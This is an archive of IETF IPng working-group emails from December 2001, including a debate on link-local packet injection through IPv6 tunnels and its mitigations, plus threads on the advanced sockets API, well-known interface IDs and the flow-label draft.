sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJLg5ZR021019; Wed, 19 Dec 2001 13:42:05 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA11402; Wed, 19 Dec 2001 13:42:07 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA13851; Wed, 19 Dec 2001 14:42:48 -0700 (MST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Wed, 19 Dec 2001 13:41:47 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id D4B53ADC7C7544059DBA2C9A0EB4C015 for plus 3 more; Wed, 19 Dec 2001 13:41:47 -0800 From: "Tony Hain" To: "Pekka Savola" , "Vladislav Yasevich" Cc: , Subject: RE: (ngtrans) remote netaccess-threats via automatic tunneling Date: Wed, 19 Dec 2001 13:37:44 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: X-SLUIDL: DB799DFD-F2554EA9-AECEDA40-D94E3F0D Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Savola wrote: > All that is true, but nowhere it is said that decapsulating the packet > from IPv4 (or IPv6) should be interpreted as "forwarding". The group keeps responding to you that the tunnel is an interface separate from the physical one it is encapsulated in, but that doesn't seem to stick. If you will accept that the tunnel is an independent interface and treat it as such, all the rules will start to make sense, and your continuous complaint about tunnel security will be resolved through the existing rules. If you can show that a node which follows the rules is insecure that would be helpful, but continuing to rehash tunneling as a security hole is not. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 13:48:17 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJLmHZR021080 for ; Wed, 19 Dec 2001 13:48:17 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJLmGE9021079 for ipng-dist; Wed, 19 Dec 2001 13:48:16 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJLmDZR021072; Wed, 19 Dec 2001 13:48:13 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA01679; Wed, 19 Dec 2001 13:48:11 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA13627; Wed, 19 Dec 2001 14:48:10 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBJLm4v02635; Wed, 19 Dec 2001 23:48:05 +0200 Date: Wed, 19 Dec 2001 23:48:04 +0200 (EET) From: Pekka Savola To: Tony Hain cc: Vladislav Yasevich , , Subject: RE: (ngtrans) remote netaccess-threats via automatic tunneling In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 19 Dec 2001, Tony Hain wrote: > Pekka Savola wrote: > > All that is true, but nowhere it is said that decapsulating the packet > > from IPv4 (or IPv6) should be interpreted as "forwarding". > > The group keeps responding to you that the tunnel is an interface > separate from the physical one it is encapsulated in, but that doesn't > seem to stick. If you will accept that the tunnel is an independent > interface and treat it as such, all the rules will start to make sense, > and your continuous complaint about tunnel security will be resolved > through the existing rules. If you can show that a node which follows > the rules is insecure that would be helpful, but continuing to rehash > tunneling as a security hole is not. Please note that this is not an issue about forwarding packets with link-local addresses to local LAN or anything. This is about an attack against the tunnel interface itself. Undeniably, you can input packets with: - link-local source (here: ff80::1) - link-local destination (here: ff80::2) - hop limit 255 in the tunnel interface. They cannot be FORWARDED off the node though. Now, if the router has 'ff80::2' configured as one of it's pseudo-interface addresses, that address can be reached via tunneling with hop limit 255 from anywhere. See the potential problem here? -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 13:53:44 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJLriZR021127 for ; Wed, 19 Dec 2001 13:53:44 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJLriB1021126 for ipng-dist; Wed, 19 Dec 2001 13:53:44 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJLreZR021119 for ; Wed, 19 Dec 2001 13:53:40 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA13862 for ; Wed, 19 Dec 2001 13:53:43 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA19338 for ; Wed, 19 Dec 2001 14:54:27 -0700 (MST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Wed, 19 Dec 2001 13:52:35 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 2DCC489667E445D8BE6D71F06778B847 for plus 2 more; Wed, 19 Dec 2001 13:52:35 -0800 From: "Tony Hain" To: "Francis Dupont" , Cc: Subject: RE: well-known Interface IDs Date: Wed, 19 Dec 2001 13:48:31 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <200112191840.fBJIdxD60117@givry.rennes.enst-bretagne.fr> X-SLUIDL: 0B8BECD3-CCD94D42-84C4820A-67916825 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I don't agree that we need to organize the space, but if everyone insists on going down this rat-hole then at least use the IANA allocated OUI 00-00-5E like ISATAP is doing. This will avoid the collision problems, plus make it clear who does the allocation and tracking if it wasn't already. Tony > -----Original Message----- > From: owner-ipng@sunroof.eng.sun.com > [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Francis Dupont > Sent: Wednesday, December 19, 2001 10:40 AM > To: haberman@innovationslab.net > Cc: ipng@sunroof.eng.sun.com > Subject: Re: well-known Interface IDs > > > In your previous mail you wrote: > > draft-ietf-malloc-ipv6-guide-04 Section 4.2 describes this for > IPv6 multicast. The same thing could be done for anycast and/or > unicast. > > => this is exactly what I'd like to get with a little difference: > IMHO we should not reserve space (other than all zeros) and rely > on probability to avoid collisions with RFC 3041 (an alternative is > to set the group/7th bit for private/temporary addresses but > this seems > to be overkilling because the issue already exists with manual IIDs). > I believe something like this should be fine: > - :: reserved for router subnet anycast > - ::1-::FFFF free for manual & lazzy numbering > - ::1:1-::1:FFFF for well known services (DNS discovery, etc) > - ::2:1-::2:FFFF for local services > - ::FDFF:FFFF:FFFF:FF80-::FDFF:FFFF:FFFF:FFFF for anycasts (RFC 2526) > > Regards > > Francis.Dupont@enst-bretagne.fr > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 14:27:28 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJMRSZR021277 for ; Wed, 19 Dec 2001 14:27:28 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJMRSYj021276 for ipng-dist; Wed, 19 Dec 2001 14:27:28 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJMRLZR021261; Wed, 19 Dec 2001 14:27:21 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA00243; Wed, 19 Dec 2001 14:27:23 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA04721; Wed, 19 Dec 2001 15:28:09 -0700 (MST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Wed, 19 Dec 2001 14:27:16 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id CABE59C1FB33432DACBF513F7D93F790 for plus 4 more; Wed, 19 Dec 2001 14:27:16 -0800 From: "Tony Hain" To: "Pekka Savola" , "Tony Hain" Cc: "Vladislav Yasevich" , , Subject: RE: (ngtrans) remote netaccess-threats via automatic tunneling Date: Wed, 19 Dec 2001 14:23:10 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: X-SLUIDL: CA182B99-269F48E2-9533E236-2A703DDC Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Savola wrote: > Undeniably, you can input packets with: > > - link-local source (here: ff80::1) > - link-local destination (here: ff80::2) > - hop limit 255 > > in the tunnel interface. Not if the tunnel interface consistency check is applied to prevent it. If you don't want to accpet link-local packets over the tunnel you are not required to. Accepting packets through a filter needs to be done for each of the interfaces. If you are willing to accept packets from any IPv4 source, but not any IPv6 source, then you have to recheck the packet once it is decapsulated. > Now, if the router has 'ff80::2' configured as one of it's > pseudo-interface addresses, that address can be reached via tunneling with > hop limit 255 from anywhere. > > See the potential problem here? Yes, the node is reachable using IPv4 from anywhere, and you are trying to make believe that adding IPv6 is somehow a bigger problem. What is the point? If packets can get there via IPv4, the fact that some of them may be encapsulated IPv6 makes no difference. If a node has a policy that packets over the global IPv4 interface go through some firewall process, then the same policy MUST apply to the tunnel interface. If it doesn't the site administrator is brain-dead and deserves what he gets. If your complaint is that a site administrator can't apply grainular policy to a link-local address over a tunnel, you are right and they simply need to block all FE80 addresses on that interface. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 21:35:12 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBK5ZCZR022044 for ; Wed, 19 Dec 2001 21:35:12 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBK5ZChh022043 for ipng-dist; Wed, 19 Dec 2001 21:35:12 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBK5Z8ZR022036 for ; Wed, 19 Dec 2001 21:35:08 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA22500 for ; Wed, 19 Dec 2001 21:35:07 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA27051 for ; Wed, 19 Dec 2001 22:35:05 -0700 (MST) Received: from localhost ([3ffe:501:100f:10c1:6d61:d28f:35c3:3316]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fBK5YP352409; Thu, 20 Dec 2001 14:34:25 +0900 (JST) Date: Thu, 20 Dec 2001 14:34:24 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Vladislav Yasevich Cc: ipng@sunroof.eng.sun.com Subject: Re: TCP implication of 2292bis In-Reply-To: <3C20DD00.1C8D1AA8@zk3.dec.com> References: <200112181820.KAA08787@feller.mentat.com> <3C20DD00.1C8D1AA8@zk3.dec.com> User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 90 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Wed, 19 Dec 2001 13:31:28 -0500, >>>>> Vladislav Yasevich said: > I've been thinking about the suggestiong of removing > the tcp handling from the document and keep comming up > with the following 2 questions: > 1. Why was the change made origianlly in the 2292bis? > and > 2. Why change now back to the original 2292 definition? > I don't know the answere to 1 (may be Eric can help?) and > noone has sufficiently answered 2. Okay, they are reasonable questions. I searched in the web for old discussions and I think I found the answer to the question 1. (You can check the discussion at the following URL http://www.wcug.wwu.edu/lists/ipng/199803/threads.html with the subject "Advanced Sockets API Issue") The very first motivation was that (old) IPV6_PKTOPTIONS was not symmetric, that is, it was used to specify sticky options for outgoing packets with setsockopt(), while it was used to retrieve received optional information with getsockopt(). The proposed solution was to change the semantics of getsockopt() side so that it would just return the content specified by setsockopt(). With this change, we'd need a separate mechanism to provide the ability to retrieve received optional information. Using recvmsg() (for TCP sockets as well) was proposed for this purpose. Another reason was to provide a single, uniform interface to retrieve the received optional info, i.e., recvmsg() + ancillary data. There was also discussion on if we should provide the ability to trace changes on the optional information for TCP sockets and if the kernel should check the changes to omit passing ancillary data for efficiency reasons. I didn't see consensus on this discussion in the list archive. And, the reason for the change in rfc2292bis-03 is as follows (I know the reasons are controversial and someone have an objection): 1. despite the change, the rfc2292bis-02 behavior did not provide a TCP socket with the complete ability that is available for UDP and raw-IPv6 sockets. For example, it did not provide the ability to trace the changes. Thus, there was less advantage to introduce the change. 2. the rfc2292bis-02 behavior did not provide a send-only TCP application with the ability to retrieve optional receive info, while RFC2292 provided the ability. In other words, rfc2292bis-02 was not upper-compatible to RFC2292 in terms of its function. 3. there are currently RFC2292-style applications deployed. It is easy for such applications to migrate to rfc2292bis-03 than to rfc2292bis-02. (The opposite argument may apply for rfc2292bis-02-style applications, of course.) Finally, the following is my personal opinion (and preference) based on all of above. As for the symmetric behavior in the original motivation, we've already solved it by separating IPV6_XXX and IPV6_RECVXXX. So, there is no reason to use recvmsg() + ancillary data on TCP sockets for this reason. As for the motivation of a single and uniform interface, I see some benefit. However, I'm not sure if this really helps application programmers. Due to differences between TCP and UDP/raw-IPv6 (more accurately, differences between STREAM and DGRAM) we cannot provide both type of sockets with exact the same behavior. Also, most application programmers are not familiar with using recvmsg() for TCP sockets, as far as I know. Even with the fact this is an "advanced" API, I'd rather separate the retrieving mechanism for TCP and others with clearly stating that the getsockopt() approach can only be used for TCP sockets. In summary, I'd still support the 03 behavior if we had to choose one. However, since the usage of receiving the optional info on TCP sockets is relatively a minor issue, I'm okay with leaving it unspecified if we cannot reach consensus. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 00:54:26 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBK8sPZR022290 for ; Thu, 20 Dec 2001 00:54:25 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBK8sPAk022289 for ipng-dist; Thu, 20 Dec 2001 00:54:25 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBK8sMZR022282 for ; Thu, 20 Dec 2001 00:54:22 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA00994 for ; Thu, 20 Dec 2001 00:54:22 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA06286 for ; Thu, 20 Dec 2001 01:55:09 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBK8rpI24794; Thu, 20 Dec 2001 09:53:51 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id JAA08560; Thu, 20 Dec 2001 09:53:51 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBK8raD62336; Thu, 20 Dec 2001 09:53:40 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112200853.fBK8raD62336@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: jarno.rajahalme@nokia.com cc: kre@munnari.OZ.AU, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-reply-to: Your message of Wed, 19 Dec 2001 17:18:19 +0200. <009CA59D1752DD448E07F8EB2F91175719808E@esebe004.NOE.Nokia.com> Date: Thu, 20 Dec 2001 09:53:36 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: The current draft states that a non-zero label could be changed by an intermediate node to a non-zero value. However, during the discussion on the topic in SLC it was concluded (IMO) that this is undesirable, and it would be more useful (and sound) to keep the value always immutable (end-to-end). => I disagree: if the end node is too dumb to set itself the label (i.e. just uses in any case the zero value) and the first router for instance sets the label when needed then the zero value should not be immutable. I don't use dumb hosts (:-) but it seems this kind of things already commonly happens for RSVP in the real world so we should keep the door open... So I fully share Robert Elz's opinion. AH: It could be possible to change AH, but it might not be worth it. => Robert Elz has just explained why we must not change AH... And it seems you don't understand that AH can't really help to protect something in transit, i.e. intermediate routers have not the key and can't verify the AH MAC. Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 01:18:46 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBK9IkZR022502 for ; Thu, 20 Dec 2001 01:18:46 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBK9IjRn022501 for ipng-dist; Thu, 20 Dec 2001 01:18:45 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBK9IfZR022494 for ; Thu, 20 Dec 2001 01:18:41 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA17216 for ; Thu, 20 Dec 2001 01:18:42 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA22512 for ; Thu, 20 Dec 2001 01:18:40 -0800 (PST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBK9IKI27472; Thu, 20 Dec 2001 10:18:21 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id KAA08941; Thu, 20 Dec 2001 10:18:21 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBK9IKD62480; Thu, 20 Dec 2001 10:18:20 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112200918.fBK9IKD62480@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: "Hesham Soliman (ERA)" cc: "'jarno.rajahalme@nokia.com'" , kre@munnari.OZ.AU, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-reply-to: Your message of Wed, 19 Dec 2001 16:33:16 +0100. <4DA6EA82906FD511BE2F00508BCF053801C4C150@Esealnt861.al.sw.ericsson.se> Date: Thu, 20 Dec 2001 10:18:20 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: I had a preliminary idea and was going to write something about it. Basically the sender can generate the flow label based on a hash of the source and destination port numbers. => this kind of things was already proposed... The main objection is this reveals too much of the higher layer and can conflict with the purpose of ESP (when ESP is used), i.e. this can become a security threat. If we want to make it more sophisticated then we can add another number to the hash input (e.g P1 || P2 || x). Where x can be something specific to this flow. => so why not just x (:-)... Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 01:33:26 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBK9XQZR022672 for ; Thu, 20 Dec 2001 01:33:26 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBK9XQPh022671 for ipng-dist; Thu, 20 Dec 2001 01:33:26 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBK9XJZR022656; Thu, 20 Dec 2001 01:33:19 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA06095; Thu, 20 Dec 2001 01:33:16 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA15705; Thu, 20 Dec 2001 02:33:15 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id KAA06942; Thu, 20 Dec 2001 10:33:13 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA20920 from ; Thu, 20 Dec 2001 10:33:11 +0100 Message-Id: <3C21B057.52CA95D4@hursley.ibm.com> Date: Thu, 20 Dec 2001 10:33:11 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Tony Hain Cc: Pekka Savola , Vladislav Yasevich , ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Tony Hain wrote: > > Pekka Savola wrote: > > Undeniably, you can input packets with: > > > > - link-local source (here: ff80::1) > > - link-local destination (here: ff80::2) > > - hop limit 255 > > > > in the tunnel interface. > > Not if the tunnel interface consistency check is applied to prevent it. > If you don't want to accpet link-local packets over the tunnel you are > not required to. I'd say that was a wise precaution in a 6to4 decapsulator; I can't see any legitimate reason to accept a link-local destination address from a 6to4 relay. (There's a legitimate use of link-local source addresses in the 6to4 multicast case, but only for MLD reports, and I think we could require hop limit = 1 in that case if we wanted.) Brian > Accepting packets through a filter needs to be done for > each of the interfaces. If you are willing to accept packets from any > IPv4 source, but not any IPv6 source, then you have to recheck the > packet once it is decapsulated. > > > Now, if the router has 'ff80::2' configured as one of it's > > pseudo-interface addresses, that address can be reached via tunneling > with > > hop limit 255 from anywhere. > > > > See the potential problem here? > > Yes, the node is reachable using IPv4 from anywhere, and you are trying > to make believe that adding IPv6 is somehow a bigger problem. What is > the point? If packets can get there via IPv4, the fact that some of them > may be encapsulated IPv6 makes no difference. If a node has a policy > that packets over the global IPv4 interface go through some firewall > process, then the same policy MUST apply to the tunnel interface. If it > doesn't the site administrator is brain-dead and deserves what he gets. > If your complaint is that a site administrator can't apply grainular > policy to a link-local address over a tunnel, you are right and they > simply need to block all FE80 addresses on that interface. -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Brian E Carpenter Distinguished Engineer, Internet Standards & Technology, IBM On assignment at the IBM Zurich Laboratory, Switzerland Board Chairman, Internet Society http://www.isoc.org -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 01:40:36 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with 